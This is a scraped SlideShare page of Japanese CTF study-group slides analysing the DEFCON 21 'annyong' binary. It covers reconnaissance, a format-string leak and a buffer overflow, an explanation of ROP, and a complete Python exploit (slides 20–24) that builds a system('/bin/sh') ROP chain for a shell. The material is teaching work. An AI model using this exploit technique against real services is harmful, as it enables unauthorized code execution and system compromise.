Successfully reported this slideshow.
Your SlideShare is downloading. ×

第二回CTF勉強会資料

Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Loading in …3
×

Check these out next

1 of 26 Ad

More Related Content

Slideshows for you (20)

Similar to 第二回CTF勉強会資料 (20)

Advertisement

More from Asuka Nakajima (9)

Recently uploaded (20)

Advertisement

第二回CTF勉強会資料

  1. 1. 2014年度 第0x2回 CTF勉強会 2014年4月22日 NTTセキュアプラットフォーム研究所 中島明日香 1
  2. 2. DEFCON 21 exploit 4点 → 問題ファイル名: annyong → ファイル形式: x86-64,ELF 2
  3. 3. 最初のステップ [1/10] ファイル調査 file defconctf_18_bin100.bin defconctf_18_bin100.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0xaac9a3648c835ecfc1ce5c634e280dbc95713027, stripped → fileコマンド → 実行 ./annyong AAA AAA BBB BBB ccc ccc 3echoプログラム?
  4. 4. 最初のステップ [2/10] → 実行 ./annyong AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA (略) Segmentation fault (core dumped) 4 バッファオーバーフロー
  5. 5. 最初のステップ [3/10] → 実行 ./annyong %p 0xffffffff %c � %d -1 %s Segmentation fault (core dumped) 5 フォーマットストリングスバグ
  6. 6. 最初のステップ [4/10] → 実行 ./annyong %n I don't think so... n I don't think so... 6 %nは利用出来ない?
  7. 7. 最初のステップ [5/10] → stringsコマンド strings annyong /lib64/ld-linux-x86-64.so.2 __gmon_start__ _Jv_RegisterClasses libc.so.6 setuid fflush exit initgroups puts stdin printf fgets getpwnam chdir Read (略) setresgid failed setresuid failed setgid failed setegid failed setuid failed seteuid failed chdir failed I don't think so... ;*3$" 7
  8. 8. 最初のステップ [6/10] → straceコマンド strace ./annyong execve("./annyong", ["./annyong"], [/* 45 vars */]) = 0 (略) mmap(0x7fdcb3cd7000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b5000) = 0x7fdcb3cd7000 mmap(0x7fdcb3cdd000, 17624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fdcb3cdd000 close(3) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdcb3eee000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdcb3eed000 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdcb3eec000 arch_prctl(ARCH_SET_FS, 0x7fdcb3eed700) = 0 mprotect(0x7fdcb3cd7000, 16384, PROT_READ) = 0 mprotect(0x7fdcb4108000, 4096, PROT_READ) = 0 mprotect(0x7fdcb3f04000, 4096, PROT_READ) = 0 munmap(0x7fdcb3eef000, 76252) = 0 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdcb3f01000 read(0, 8
  9. 9. 最初のステップ [7/10] → hexdumpコマンド hexdump -C ./annyong 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 03 00 3e 00 01 00 00 00 60 0c 00 00 00 00 00 00 |..>.....`.......| 00000020 40 00 00 00 00 00 00 00 e0 21 00 00 00 00 00 00 |@........!......| 00000030 00 00 00 00 40 00 38 00 09 00 40 00 1c 00 1b 00 |....@.8...@.....| 00000040 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 |........@.......| 00000050 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |@.......@.......| 00000060 f8 01 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 |................| 00000070 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 |................| 00000080 38 02 00 00 00 00 00 00 38 02 00 00 00 00 00 00 |8.......8.......| 00000090 38 02 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 |8...............| 9
  10. 10. 最初のステップ [8/10] → readelfコマンド readelf –a annyong ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0xc60 Start of program headers: 64 (bytes into file) Start of section headers: 8672 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 28 Section header string table index: 27 10
  11. 11. 最初のステップ [9/10] → readelfコマンド Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R E 8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000001434 0x0000000000001434 R E 200000 LOAD 0x0000000000001df0 0x0000000000201df0 0x0000000000201df0 0x00000000000002d8 0x00000000000002e8 RW 200000 DYNAMIC 0x0000000000001e18 0x0000000000201e18 0x0000000000201e18 0x0000000000000190 0x0000000000000190 RW 8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 4 GNU_EH_FRAME 0x000000000000129c 0x000000000000129c 0x000000000000129c 0x0000000000000054 0x0000000000000054 R 4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 8 GNU_RELRO 0x0000000000001df0 0x0000000000201df0 0x0000000000201df0 0x0000000000000210 0x0000000000000210 R 1 11
  12. 12. 12 最初のステップ [10/10] Checksec.sh http://www.trapkit.de/tools/checksec.html → checksec.shを利用する ./checksec.sh --file annyong RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH annyong Partial RELRO, NX, PIEが有効
  13. 13. 13 NX Non Execute Bit PIE Position-independent-Code RELRO relocation read only
  14. 14. 解析について どこに何の脆弱性があるかを考える → 時間が限られてるので全部解析は難しい → バッファーオーバーフロー 14 → フォーマットストリングスバグ → IDAproを開く
  15. 15. 解析のステップ 15 → sub_108C → ユーザー入力を受け付け、 もし入力文字列にnが含まれていたら 「I don’t think so..」を出力。 そうでなかったら、入力文字列を 表示する。
  16. 16. 攻略の仕方 1.バッファーオーバーフロー検知はしていない 2.スタック上のコードの実行権限はない 3.%nが利用不可。GOT Overwriteは出来ない 4.ASRLとPIEが有効。アドレスが固定ではない → ROP Exploitで任意のコードを実行させる
  17. 17. 17 ROP(Return Oriented Programming)とは →Return Address Saved Frame Pointer buffer バッファオーバーフロー時 上書き可能 add_func JUNK JUNK arg1 arg2 100 100 ROP GADGET add_func exit func 200 200 add_func(int a,int b){ return a+b } pop ebx pop ebp ret
  18. 18. 18 Import sys From struct import * Add_function = 0x80484a7 Exit_func = 0xb7e5efb0 Rop_gadget = 0x8048587 Sc = “x90x90x90x90x90x90x90x90” Sc += “x90x90x90x90x90x90x90x90” Sc += pack(‘<L‘, add_function) Sc += pack(‘<L‘, rop_gadget) Sc += “3333” Sc += “4444” Sc += pack(‘<L’,add_function) Sc + = pack(‘<L’,exit_function) Sc += “3333” Sc += “4444” Sys.stdout.write(sc) ROP Exploit (例)
  19. 19. 19 Exploitの方針 1.実行アドレスのベースを調べる (PIE/ASLR) 2.Libcのベースを調べる System関数を呼び出して任意のコマンド(/bin/sh)を実行 3.System関数のオフセットを調べる 4. “/bin/sh”文字列のオフセットを調べる 5. ROP用のシェルコードを生成する 6. 実行する
  20. 20. 20 Exploit [1/3] import socket, telnetlib from struct import pack, unpack def p64(addr): return pack("<Q", addr) def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() s.close() def send_recv(s, buf): s.send(buf) return s.recv(4096) HOST = "localhost" PORT = 5679 s = socket.socket() s.connect((HOST, PORT))
  21. 21. 21 Exploit [2/3] r = send_recv(s, "%265$pn") return_addr = int(r, 16) annyong_base_addr = return_addr - 0x1127 got_fgets_addr = annyong_base_addr + 0x202058 str_fgets_addr = "" s.send("%7$saaaa" + pack("<Q",got_fgets_addr) + "n") packed_addr = s.recv(1024).split("aaaa")[0] fgets_addr = unpack("<Q", packed_addr + "x00" * (8-len(packed_addr)))[0] lib_base = fgets_addr - 0x6efd0 system_r = lib_base + 0x45660 binsh_r = lib_base + 0x17a111 poprdi = lib_base + 0x229f2
  22. 22. 22 GOT アドレス fgetsは0x202058
  23. 23. 23 Return address offset
  24. 24. 24 Exploit [3/3] payload = "A" * 0x810 + 'B' * 8 + p64(poprdi) + p64(binsh_r) + p64(system_r) r = send_recv(s, payload + "n") print "We got a shell:" interact(s) Pop rdi AAAAAAAA /bin/sh System関数 BBBBBBBB
  25. 25. 25 他のやり方で解いた方?
  26. 26. お疲れ様でした! 26

×